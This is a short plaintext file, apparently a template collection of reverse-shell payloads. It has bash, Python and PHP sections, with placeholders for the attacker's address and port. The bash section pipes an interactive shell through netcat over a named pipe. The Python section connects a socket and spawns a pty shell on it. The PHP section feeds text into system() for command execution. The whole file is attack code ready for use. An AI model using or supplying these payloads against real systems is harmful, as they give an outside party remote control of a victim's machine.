20 lines
372 B
Plaintext
20 lines
372 B
Plaintext
# BASH
|
|
"declare" "tmpdir=$(mktemp -u)"
|
|
"mkfifo" "$tmpdir"
|
|
"bash" "-c" "cat $tmpdir|sh -i 2>&1|nc {{{ADDR}}} {{{PORT}}} >$tmpdir"
|
|
"exit" "1"
|
|
|
|
# PYTHON
|
|
import sys, socket, os, pty
|
|
s=socket.socket()
|
|
s.connect(("{{{ADDR}}}", {{{PORT}}}))
|
|
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
|
|
pty.spawn("sh")
|
|
"""
|
|
|
|
# PHP
|
|
<?php
|
|
system(file_get_contents($_SERVER['SCRIPT_NAME']));
|
|
?>
|
|
"""
|